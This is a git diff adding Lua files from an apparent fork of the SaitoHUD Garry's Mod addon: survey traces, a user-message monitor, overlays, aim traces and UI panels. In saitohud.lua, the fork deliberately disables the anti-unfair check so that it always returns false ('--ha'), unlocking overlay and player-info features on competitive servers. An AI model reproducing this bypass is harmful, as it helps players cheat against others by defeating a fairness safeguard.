Resources[id] > 0 then + RunConsoleCommand("say", "!" .. cmd) + foundPlant = true + break + end + end + + if not foundPlant then + SaitoHUD.ShowHint("Nothing to plant!") + end + end + + function SaitoHUD.StrandedDropSomething() + for id, num in pairs(Resources) do + if num > 0 then + RunConsoleCommand("say", "!drop " .. id) + break + end + end + end + + hook.Add("SaitoHUDProvideMenu", "SaitoHUD.Stranded", StrandedMenu) + hook.Add("HUDPaint", "SaitoHUDStrandedHUDPaint", HUDPaint) + SaitoHUD.RemoveHook("HUDPaint", "GMS_ResourceDropsHUD") + hook.Add("KeyRelease", "SaitoHUDStrandedKeyRelease", HandleKey) + hook.Add("KeyPress", "SaitoHUDStrandedKeyPress", HandleKey) + end +end + +hook.Add("Initialize", "SaitoHUDStrandedInitialize", SetUp) +SetUp() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua new file mode 100644 index 0000000..ea7b77c --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/survey.lua @@ -0,0 +1,284 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("DefaultSmallDropShadow", { + font = "Tahoma", + size = 11, + weight = 0, + antialias = true, + additive = false, + shadow = true, + } +) + + +local orthoTraceText = CreateClientConVar("ortho_trace_text", "1", true, false) +local reflectTraceNodes = CreateClientConVar("reflect_trace_nodes", "1", true, false) +local reflectTraceMultiple = CreateClientConVar("reflect_trace_multiple", "0", true, false) +local reflectTraceColorProgression = CreateClientConVar("reflect_trace_color_progression", "0", true, false) + +local orthogonalTraces = {} +local reflectionLines = {} + +local Rehook = nil + +--- Console commands to do an ortho trace. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function OrthoTrace(ply, cmd, args) + local start = SaitoHUD.GetRefTrace() + + local data = {} + data.start = start.HitPos + data.endpos = start.HitNormal * 100000 + start.HitPos + data.filter = LocalPlayer() + local final = util.TraceLine(data) + + table.insert(orthogonalTraces, {start.HitPos, final.HitPos}) + + Rehook() +end + +--- Console commands clear the list of ortho traces. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function OrthoTraceClear(ply, cmd, args) + orthogonalTraces = {} + + Rehook() +end + +local function CalculateReflectionAnalysis(startPos, endPos, numReflects, ent) + local lines = {} + + local filter = ent and {ent, LocalPlayer()} or LocalPlayer() + local vec = endPos - startPos + local data = {} + data.start = startPos + data.endpos = endPos + data.filter = filter + local tr = util.TraceLine(data) + + table.insert(lines, {tr.StartPos, tr.HitPos}) + + for i = 1, numReflects do + local v = vec - 2 * vec:DotProduct(tr.HitNormal) * tr.HitNormal + local lastPoint = tr.HitPos + tr = util.QuickTrace(tr.HitPos + v:GetNormal() * -0.01, v:GetNormal() * 100000, filter) + vec = tr.HitPos - tr.StartPos + table.insert(lines, {lastPoint, tr.HitPos}) + end + + return lines +end + +--- Console commands to do reflection analysis. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysis(ply, cmd, args) + local numReflects = tonumber(args[1]) + + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + elseif numReflects < 1 then + Msg("Minimum number of reflections: 1\n") + return + end + + if not reflectTraceMultiple:GetBool() then reflectionLines = {} end + + local tr = SaitoHUD.GetRefTrace() + + table.insert(reflectionLines, { + Lines = CalculateReflectionAnalysis(tr.StartPos, tr.HitPos, numReflects) + }) + + Rehook() +end + +--- Console commands to do reflection analysis from an entity. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysisEntity(ply, cmd, args) + local numReflects = tonumber(args[1]) + local ang = SaitoHUD.ParseConcmdAngle(args, 1) + + if #args < 2 or #args > 4 then + Msg("Invalid number of arguments\n") + return + elseif numReflects < 1 then + Msg("Minimum number of reflections: 1\n") + return + end + + local tr = SaitoHUD.GetRefTrace() + + if IsValid(tr.Entity) then + if not reflectTraceMultiple:GetBool() then reflectionLines = {} end + + worldAng = tr.Entity:LocalToWorldAngles(ang) + + table.insert(reflectionLines, { + Lines = CalculateReflectionAnalysis(tr.Entity:GetPos(), + ang:Forward() * 100000 + tr.Entity:GetPos(), + numReflects, tr.Entity), + Entity = tr.Entity, + Live = cmd == "reflect_trace_ent_live", + Ang = ang, + NumReflects = numReflects + }) + else + LocalPlayer():ChatPrint("Nothing was found in an eye trace!") + end + + Rehook() +end + +--- Console commands clear the list of reflection traces. +-- @param ply Player +-- @param cmd Command +-- @param args Arguments +local function ReflectAnalysisClear(ply, cmd, args) + reflectionLines = {} + + Rehook() +end + +--- Draw RenderScreenspaceEffects. +local function DoDrawSurveyScreenspace() + surface.SetDrawColor(255, 255, 0, 255) + for _, v in pairs(orthogonalTraces) do + SaitoHUD.Draw3D2DLine(v[1], v[2]) + end + + surface.SetDrawColor(255, 255, 0, 255) + for _, data in pairs(reflectionLines) do + local lines = data.Lines + for k, v in pairs(lines) do + if reflectTraceColorProgression:GetBool() then + surface.SetDrawColor(255 * k / #lines, 255 * (1 - k / #lines), + 255 * (1 - k / #lines), 255) + end + SaitoHUD.Draw3D2DLine(v[1], v[2]) + end + end +end + +--- Draw orthogonal trace text. +local function DrawOrthoTraceText() + for _, v in pairs(orthogonalTraces) do + local dist = math.Round(v[1]:Distance(v[2])) + local screenPos = v[1]:ToScreen() + draw.SimpleText(tostring(v[1]), + "DefaultSmallDropShadow", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) + + draw.SimpleText(tostring(dist), + "DefaultSmallDropShadow", screenPos.x, screenPos.y+10, + color_white, 1, ALIGN_TOP) + + local screenPos = v[2]:ToScreen() + draw.SimpleText(tostring(v[2]), + "DefaultSmallDropShadow", screenPos.x, screenPos.y, + color_white, 1, ALIGN_TOP) + + draw.SimpleText(tostring(dist), + "DefaultSmallDropShadow", screenPos.x, screenPos.y+10, + color_white, 1, ALIGN_TOP) + end +end + +--- Draw reflection analysis text. +local function DrawReflectAnalysisText() + local dim = 5 + + surface.SetDrawColor(255, 255, 0, 255) + + for _, data in pairs(reflectionLines) do + if data.Live and IsValid(data.Entity) then + worldAng = data.Entity:LocalToWorldAngles(data.Ang) + + data.Lines = CalculateReflectionAnalysis( + data.Entity:GetPos(), worldAng:Forward() * 100000 + data.Entity:GetPos(), + data.NumReflects, data.Entity) + end + + local lines = data.Lines + + for k, v in pairs(lines) do + if reflectTraceColorProgression:GetBool() then + surface.SetDrawColor(255 * k / #lines, 255 * (1 - k / #lines), + 255 * (1 - k / #lines), 255) + end + + local screenPos = v[1]:ToScreen() + surface.DrawOutlinedRect(screenPos.x - dim / 2, screenPos.y - dim / 2, dim, dim) + + if k == #lines then + local screenPos = v[2]:ToScreen() + surface.DrawOutlinedRect(screenPos.x - dim / 2, screenPos.y - dim / 2, dim, dim) + end + end + end +end + +--- Hook to draw survey stuff in RenderScreenspaceEffects. +local function DrawSurveyScreenspace() + cam.Start3D(EyePos(), EyeAngles()) + -- Wrap the call in pcall() because an error here causes mayhem, so it + -- is best if any errors are caught + err, x = pcall(DoDrawSurveyScreenspace) + cam.End3D() +end + +--- Draw survey HUDPaint stuff. +local function DrawSurvey() + if orthoTraceText:GetBool() then + DrawOrthoTraceText() + end + + if reflectTraceNodes:GetBool() then + DrawReflectAnalysisText() + end +end + +Rehook = function() + if #orthogonalTraces > 0 or #reflectionLines > 0 then + hook.Add("RenderScreenspaceEffects", "SaitoHUD.Survey", DrawSurveyScreenspace) + hook.Add("HUDPaint", "SaitoHUD.Survey", DrawSurvey) + else + pcall(hook.Remove, "RenderScreenspaceEffects", "SaitoHUD.Survey") + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Survey") + end +end + +Rehook() + +concommand.Add("ortho_trace", OrthoTrace) +concommand.Add("ortho_trace_clear", OrthoTraceClear) +concommand.Add("reflect_trace", ReflectAnalysis) +concommand.Add("reflect_trace_ent", ReflectAnalysisEntity) +concommand.Add("reflect_trace_ent_live", ReflectAnalysisEntity) +concommand.Add("reflect_trace_clear", ReflectAnalysisClear) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua new file mode 100644 index 0000000..8be5ac1 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/umsg.lua @@ -0,0 +1,162 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + + +surface.CreateFont("TabLarge", { + font = "Tahoma", + size = 13, + weight = 700, + antialias = false, + additive = false, + shadow = true, + } +) + + +local doDebug = CreateClientConVar("umsg_debug", "0", true, false) +local peekWire = CreateClientConVar("umsg_debug_peek_wire", "0", true, false) + +local messages = {} +local snapshot = {} +local snapshotKeys = {} +local lastSnapshot = 0 +local initial = false +local timeDiff = 0 + +if not _OldUserMessageIncoming then + _OldUserMessageIncoming = usermessage.IncomingMessage +end + +local function GetLocalVar(func, key) + local k = 1 + while true do + local name, value = debug.getupvalue(func, k) + if not name then break end + if name == key then return value end + k = k + 1 + end + return nil +end + +local function StartListening() + -- Name upvalue the same so that we don't break other people's attempts + local Hooks = GetLocalVar(_OldUserMessageIncoming, "Hooks") + + if Hooks then + local function DoLog(name, msg) + local logName = name + local fakeMsg + + if peekWire:GetBool() and name == "wire_umsg" then + local entIndex = msg:ReadShort() + local ent = ents.GetByIndex(entIndex) + logName = name .. ":" .. (IsValid(ent) and tostring(ent) or "?") + + -- Does not appear to work! + msg:Reset() + end + + messages[logName] = messages[logName] and messages[logName] + 1 or 1 + + if fakeMsg then return fakeMsg end + end + + usermessage.IncomingMessage = function(messageName, msg) + local success, fakeMsg = pcall(DoLog, messageName, msg) + if success and fakeMsg then msg = fakeMsg end + _OldUserMessageIncoming(messageName, msg) + end + + return true + end + + return false +end + +local function StopListening() + usermessage.IncomingMessage = _OldUserMessageIncoming +end + +local function HUDPaint() + if RealTime() - lastSnapshot > 2 then + timeDiff = math.Round(RealTime() - lastSnapshot) + snapshot = messages + snapshotKeys = {} + for key, _ in pairs(snapshot) do table.insert(snapshotKeys, key) end + table.sort(snapshotKeys, function(a, b) return a < b end) + messages = {} + lastSnapshot = RealTime() + initial = false + end + + if (#snapshotKeys > 0 or not initial) and not initial then + local i = 0 + for _, name in pairs(snapshotKeys) do + local num = snapshot[name] + -- local x, y = 20, 160 + 16 * i + local x, y = 20, 180 + 16 * i + + surface.SetDrawColor(255, 0, 0, 200) + surface.DrawRect(x + 100, y, num, 14) + surface.SetTextColor(color_white) + surface.SetFont("TabLarge") + + surface.SetTextPos(x, y) + surface.DrawText(tostring(num)) + surface.SetTextPos(x + 30, y) + surface.DrawText(string.format("%.2f/sec", num / timeDiff)) + surface.SetTextPos(x + 100, y) + surface.DrawText(name) + + i = i + 1 + end + else + --local x, y = 20, 160 + local x, y = 20, 180 + + num = num or 10 + + surface.SetDrawColor(255, 0, 0, 200) + surface.DrawRect(x + 40, y, num, 14) + surface.SetTextColor(color_white) + surface.SetFont("TabLarge") + + surface.SetTextPos(x, y) + surface.DrawText(string.format("Collecting initial data [%.2f]...", 2 - (RealTime() - lastSnapshot))) + end +end + +local function Rehook() + if doDebug:GetBool() then + if StartListening() then + initial = true + lastSnapshot = RealTime() + hook.Add("HUDPaint", "SaitoHUD.Debug.UserMessage", HUDPaint) + else + Error("Failed to find Hooks upvalue") + end + else + StopListening() + hook.Remove("HUDPaint", "SaitoHUD.Debug.UserMessage") + end +end + +cvars.AddChangeCallback("umsg_debug", Rehook) + +Rehook() \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua new file mode 100644 index 0000000..61ce266 --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/util.lua @@ -0,0 +1,161 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +------------------------------------------------------------ +-- Super flashlight +------------------------------------------------------------ + +local selfLight = CreateClientConVar("super_flashlight_self", "0", true, false) +local brightLight = CreateClientConVar("super_flashlight_bright", "0", true, false) + +local lightEnabled = false + +local function RenderFlashlight() + local bright = brightLight:GetBool() + + if not selfLight:GetBool() then + local light = DynamicLight(123120000) + if light then + local tr = SaitoHUD.GetRefTrace() + light.Pos = tr.HitPos + tr.HitNormal * 100 + light.r = 255 + light.g = 255 + light.b = 255 + light.Brightness = 0.25 + light.Size = bright and 5000 or 1000 + light.Decay = 0 + light.DieTime = CurTime() + 0.3 + end + end + + local light = DynamicLight(123120001) + if light then + light.Pos = SaitoHUD.GetRefPos() + Vector(0, 0, 40) + light.r = 255 + light.g = 255 + light.b = 255 + light.Brightness = 0.25 + light.Size = bright and 5000 or 1000 + light.Decay = 0 + light.DieTime = CurTime() + 0.3 + end +end + +concommand.Add("super_flashlight", function() + lightEnabled = not lightEnabled + + surface.PlaySound("items/flashlight1.wav") + + SaitoHUD.HookIfTrue(lightEnabled, "SaitoHUD.FlashLight", { + Think = RenderFlashlight, + }, true) +end) + +------------------------------------------------------------ +-- HUD hide +------------------------------------------------------------ + +local hideHUD = false + +concommand.Add("toggle_hud", function(ply, cmd, args) + hideHUD = not hideHUD + + SaitoHUD.HookIfTrue(hideHUD, "SaitoHUD.FlashLight", { + HUDShouldDraw = function() return false end, + }) +end) + +------------------------------------------------------------ +-- Toggled console commands +------------------------------------------------------------ + +local toggledCommands = {} + +concommand.Add("toggle_concmd", function(ply, cmd, args) + if #args ~= 1 then + Msg("Invalid number of arguments\n") + return + end + + local cmd = args[1] + + if toggledCommands[cmd] then + RunConsoleCommand("-" .. cmd) + toggledCommands[cmd] = nil + chat.AddText(Color(255, 0, 0), "-" .. cmd) + else + RunConsoleCommand("+" .. cmd) + toggledCommands[cmd] = true + chat.AddText(Color(0, 255, 0), "+" .. cmd) + end +end) + +------------------------------------------------------------ +-- Aim traces +------------------------------------------------------------ + +local traceAims = CreateClientConVar("trace_aims", "0", true, false) +local data = {} + +local function DrawPlayerAim(ply) + if ply == LocalPlayer() or not ply:Alive() then return end + + local shootPos = ply:GetShootPos() + local eyeAngles = ply:EyeAngles() + + data.start = shootPos + data.endpos = shootPos + eyeAngles:Forward() * 10000 + data.filter = ply + + local tr = util.TraceLine(data) + local distance = tr.HitPos:Distance(shootPos) + + -- Draw the end point + cam.Start3D2D(tr.HitPos + tr.HitNormal * 0.2, + tr.HitNormal:Angle() + Angle(90, 0, 0), 1) + if IsValid(tr.Entity) and tr.Entity:IsPlayer() then + surface.SetDrawColor(255, 255, 0, 200) + else + surface.SetDrawColor(0, 0, 255, 150) + end + surface.DrawRect(-5, -5, 10, 10) + cam.End3D2D() + + -- Draw the line + cam.Start3D2D(shootPos, eyeAngles, 1) + if IsValid(tr.Entity) and tr.Entity:IsPlayer() then + surface.SetDrawColor(255, 255, 0, 255) + else + surface.SetDrawColor(0, 0, 255, 200) + end + surface.DrawLine(0, 0, distance, 0) + cam.End3D2D() +end + +local function DrawTraceAims() + cam.Start3D(EyePos(), EyeAngles()) + for _, ply in pairs(player.GetAll()) do + pcall(DrawPlayerAim, ply) + end + cam.End3D() +end + +SaitoHUD.HookOnCvar("trace_aims", "SaitoHUD.AimTrace", { + RenderScreenspaceEffects = DrawTraceAims, +}, true) \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar new file mode 100644 index 0000000..5f97927 Binary files /dev/null and b/Repos/HeXs_SaitoHUD-master/lua/saitohud/modules/winamp.rar differ diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/overlays.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/overlays.lua new file mode 100644 index 0000000..962764a --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/overlays.lua @@ -0,0 +1,158 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local excludeClasses = { + viewmodel = true, + physgun_beam = true, + gmod_tool = true, + gmod_camera = true, + worldspawn = true, +} + +local evaluateOnEveryDraw = CreateClientConVar("overlays_continuous_eval", "0", true, false) + +SaitoHUD.OverlayTypes = {} + +local lastOverlayMatch = 0 + +--- Builds the cache of matched of entities. This is to significantly increase +-- performance, as evaluating the filter is a fairly resource intensive task. +local function EvaluateFilters() + local refPos = SaitoHUD.GetRefPos() + + -- Clear match lists + for id, data in pairs(SaitoHUD.OverlayTypes) do + data.Matches = {} + end + + -- Evaluate filters + for _, ent in pairs(ents.GetAll()) do + if IsValid(ent) then + local cls = ent:GetClass() + local pos = ent:GetPos() + + -- Class may be empty + if cls == "" or not cls then + cls = "" + end + + if not excludeClasses[cls] then + -- Add to matches + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter and data.Filter.f(ent, refPos) then + table.insert(data.Matches, ent) + end + end + end + end + end + + -- Post evaluate hook + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter and data.OnPostEvaluate then + data.OnPostEvaluate() + end + end +end + +--- Do the drawing. +local function Draw() + -- Evaluate filters + if CurTime() - lastOverlayMatch > 1 or evaluateOnEveryDraw:GetBool() then + EvaluateFilters() + lastOverlayMatch = CurTime() + end + + for id, data in pairs(SaitoHUD.OverlayTypes) do + -- Paint HUD hook + if data.Filter and data.HUDPaint then + data.HUDPaint() + end + + -- Draw each entity + for _, ent in pairs(data.Matches) do + if IsValid(ent) then + data.DrawEnt(ent) + end + end + end +end + +--- Create/remove hooks. +local function Rehook() + local hasActive = false + + for id, data in pairs(SaitoHUD.OverlayTypes) do + if data.Filter then + hasActive = true + break + end + end + + if hasActive then + hook.Add("HUDPaint", "SaitoHUD.Overlays", Draw) + else + pcall(hook.Remove, "HUDPaint", "SaitoHUD.Overlays") + end +end + +--- Registers an overlay. +-- @param id +-- @param drawEntFunc Function to draw each entity +-- @param hudPaint HUD paint function +function SaitoHUD.RegisterOverlay(id, t) + local data = { + Enabled = false, + DrawEnt = t.DrawEnt, + HUDPaint = t.HUDPaint, + OnPostEvaluate = t.OnPostEvaluate, + Matches = {}, + Filter = nil, + LastFilter = nil, + } + + SaitoHUD.OverlayTypes[id] = data + + concommand.Add(id .. "_filter", function(ply, cmd, args) + if SaitoHUD.AntiUnfairTriggered() then return end + + data.Matches = {} + data.Filter = SaitoHUD.entityFilter.Build(args, true) + Rehook() + end) + + concommand.Add("toggle_" .. id, function(ply, cmd, args) + if SaitoHUD.AntiUnfairTriggered() then return end + + data.Matches = {} + + if data.Filter then + data.LastFilter = data.Filter + data.Filter = nil + else + if data.LastFilter then + data.Filter = data.LastFilter + else + data.Filter = SaitoHUD.entityFilter.Build({"*"}, true) + end + end + + Rehook() + end) +end \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua new file mode 100644 index 0000000..af8a70a --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/saitohud.lua @@ -0,0 +1,209 @@ +-- SaitoHUD + +local ignoreHooks = CreateClientConVar("saitohud_ignore_hooks", "0", false, false) + +--- Checks whether the anti-unfair mode is triggered. +function SaitoHUD.AntiUnfairTriggered() + --[[ + if GAMEMODE == nil or type(GAMEMODE) ~= 'table' then return false end + if (LocalPlayer().IsAdmin and LocalPlayer():IsAdmin()) or + (LocalPlayer().IsSuperAdmin and LocalPlayer():IsSuperAdmin()) then + return false + end + local name = tostring(GAMEMODE.Name) + local folder = tostring(GAMEMODE.Folder) + return __SaitoHUDUnfair == true and + string.find(name:lower(), "sandbox") == nil and + string.find(folder:lower(), "sandbox") == nil and + string.find(folder:lower(), "spaceage") == nil + ]] + return false --ha +end + +--- Returns where hooks are disabled. +function SaitoHUD.ShouldIgnoreHook() + return ignoreHooks:GetBool() +end + +--- Gets a player trace. This function should be used in case a SaitoHUD component +-- changes the origin of the player's camera. +-- @return Trace result +function SaitoHUD.GetRefTrace() + return util.TraceLine(util.GetPlayerTrace(LocalPlayer())) +end + +--- Gets a player's reference location. This function should be used in case a +-- SaitoHUD component changes the origin of the player's camera. +function SaitoHUD.GetRefPos() + return LocalPlayer():GetPos() +end + +--- Returns a Player object by name, or nil if nothing be found. +-- @param testName Name of player to match +-- @return Player object +function SaitoHUD.MatchPlayerString(testName) + local possibleMatch = nil + testName = testName:lower() + + for _, ply in pairs(player.GetAll()) do + local name = ply:GetName() + + if name:lower() == testName:lower() then + return ply + else + if name:lower():find(testName, 1, true) then + possibleMatch = ply + end + end + end + + if possibleMatch then + return possibleMatch + else + return nil + end +end + +--- Used to get the entity information text. +-- @return Text +function SaitoHUD.GetEntityInfoLines(showPlayerInfo,showEntityInfo) + local tr = SaitoHUD.GetRefTrace() + + local lines = {} + + if IsValid(tr.Entity) then + local Col = tr.Entity:GetColor(); + lines = {} + + if showEntityInfo then + local skin = tr.Entity:GetSkin() + table.Add(lines,{ + "#" .. tostring(tr.Entity:EntIndex()) .. " [" .. tostring(tr.HitPos:Distance(SaitoHUD.GetRefPos())) .. "]", + "Current Pos: " .. tostring(SaitoHUD.GetRefPos()), + "Hit Pos: " .. tostring(tr.HitPos), + "Class: " .. tostring(tr.Entity:GetClass()), + "Position: " .. tostring(tr.Entity:GetPos()), + "Size: " .. tostring(tr.Entity:OBBMaxs()-tr.Entity:OBBMins()), + "Angle: " .. tostring(tr.Entity:GetAngles()), + "Color: " .. string.format("%s %s %s %s", Col.r, Col.g, Col.b, Col.a), + "Model: " .. tostring(tr.Entity:GetModel()), + "Material: " .. tostring(tr.Entity:GetMaterial()) .. + " (skin: " .. (skin and tostring(skin) or "N/A") .. ")", + "Velocity: " .. tostring(tr.Entity:GetVelocity()), + "Speed: " .. tostring(tr.Entity:GetVelocity():Length()), + "Local: " .. tostring(tr.Entity:WorldToLocal(tr.HitPos)), + }) + end + + if not SaitoHUD.AntiUnfairTriggered() and + showPlayerInfo and tr.Entity:IsPlayer() then + if showEntityInfo then + table.insert(lines, "") + else + table.insert(lines, "#" .. tostring(tr.Entity:EntIndex()) .. " [" .. tostring(tr.HitPos:Distance(LocalPlayer():GetPos())) .. "]") + end + + table.Add(lines, { + "Name: " .. tostring(tr.Entity:Name()), + "SteamID: " .. tostring(tr.Entity:SteamID()), + "Ping: " .. tostring(tr.Entity:Ping()), + "Health: " .. tostring(tr.Entity:Health()), + "Armor: " .. tostring(tr.Entity:Armor()), + "Weapon: " .. tostring(tr.Entity:GetActiveWeapon()), + "Kills: " .. tostring(tr.Entity:Frags()), + "Deaths: " .. tostring(tr.Entity:Deaths()), + }) + end + else + if tr.Hit and showEntityInfo then + lines = { + "[" .. tostring(tr.HitPos:Distance(LocalPlayer():GetPos())) .. "]", + "Current Pos: " .. tostring(SaitoHUD.GetRefPos()), + "Hit Pos: " .. tostring(tr.HitPos), + } + end + end + + return lines +end + +--- Dumps the entity information printout to console. +function SaitoHUD.DumpEntityInfo() + local lines = SaitoHUD.GetEntityInfoLines(true, true) + + if table.Count(lines) > 0 then + for _, s in pairs(lines) do + Msg(s .. "\n") + end + end +end + +--- Shows a hint. +-- @param msg Message +-- @param t Number of seconds, 10 by default +-- @param c Type of message, NOTIFY_GENERIC by default +function SaitoHUD.ShowHint(msg, t, c) + if not t then t = 10 end + if not c then c = NOTIFY_GENERIC end + GAMEMODE:AddNotify(msg, c, t); + surface.PlaySound("ambient/water/drip" .. math.random(1, 4) .. ".wav") +end + +--- Opens the help window. +function SaitoHUD.OpenHelp() + if SaitoHUD.HelpWindow and SaitoHUD.HelpWindow:IsValid() then + return + end + + local contents = "" + + --[[ + if file.Exists("../addons/SaitoHUD/docs.txt") then --why!? what's wrong with the data folder! + contents = file.Read("../addons/SaitoHUD/docs.txt") + else + Error("addons/SaitoHUD/docs.txt doesn't exist\n") + end + ]] + if file.Exists("SaitoHUD/docs.txt", "DATA") then + contents = file.Read("SaitoHUD/docs.txt", "DATA") + else + Error("SaitoHUD/docs.txt doesn't exist\n") + end + + local frame = vgui.Create("DFrame") + SaitoHUD.HelpWindow = frame + frame:SetTitle("SaitoHUD Help") + frame:SetDeleteOnClose(true) + frame:SetScreenLock(true) + frame:SetSize(math.min(780, ScrW() - 0), ScrH() * 4/5) + frame:SetSizable(true) + frame:Center() + frame:MakePopup() + + local browser = vgui.Create("HTML", frame) + browser:SetVerticalScrollbarEnabled(false) + browser:SetHTML(contents) + + -- Layout + local oldPerform = frame.PerformLayout + frame.PerformLayout = function() + oldPerform(frame) + browser:StretchToParent(10, 28, 10, 10) + end + + frame:InvalidateLayout(true, true) +end + +concommand.Add("saitohud_help", function() SaitoHUD.OpenHelp() end) + + +__SaitoHUDUnfair = false --ha + + + + + + + + + diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua new file mode 100644 index 0000000..6e4fe3f --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DCustomListView.lua @@ -0,0 +1,55 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local PANEL = {} + +AccessorFunc(PANEL, "LineClass", "LineClass") + +function PANEL:Init() + --self.BaseClass.Init(self) +end + +function PANEL:AddLine(...) + self:SetDirty(true) + self:InvalidateLayout() + + local line = vgui.Create(self.LineClass or "DListView_Line", self.pnlCanvas) + local id = table.insert(self.Lines, line) + + line:SetListView(self) + line:SetID(id) + + for k, v in pairs(self.Columns) do + line:SetColumnText(k, "") + end + + for k, v in pairs({...}) do + line:SetColumnText(k, v) + end + + local SortID = table.insert(self.Sorted, line) + + if SortID % 2 == 1 then + line:SetAltLine(true) + end + + return line +end + +vgui.Register("DCustomListView", PANEL, "DListView") \ No newline at end of file diff --git a/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua new file mode 100644 index 0000000..5f5359e --- /dev/null +++ b/Repos/HeXs_SaitoHUD-master/lua/saitohud/vgui/DListView_CheckboxLine.lua @@ -0,0 +1,66 @@ +-- SaitoHUD +-- Copyright (c) 2009-2010 sk89q +-- Copyright (c) 2010 BoJaN +-- +-- This program is free software: you can redistribute it and/or modify +-- it under the terms of the GNU General Public License as published by +-- the Free Software Foundation, either version 2 of the License, or +-- (at your option) any later version. +-- +-- This program is distributed in the hope that it will be useful, +-- but WITHOUT ANY WARRANTY; without even the implied warranty of +-- MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +-- GNU General Public License for more details. +-- +-- You should have received a copy of the GNU General Public License +-- along with this program. If not, see . +-- +-- $Id$ + +local PANEL = {} + +function PANEL:Init() + self.BaseClass.Init(self) + + self.Check = vgui.Create("DCheckBox", self) + self.Check:SetSize(14, 14) + self.Check.OnChange = function() + self:SetColumnText(1, self.Check:GetChecked() and "1" or "") + self:OnChange(self.Check:GetChecked()) + end +end + +function PANEL:OnChange(checked) +end + +function PANEL:SetChecked(checked) + self.Check:SetValue(checked) +end + +function PANEL:GetChecked() + return self.Check:GetChecked() +end + +function PANEL:DataLayout(listView) + self:ApplySchemeSettings() + + local 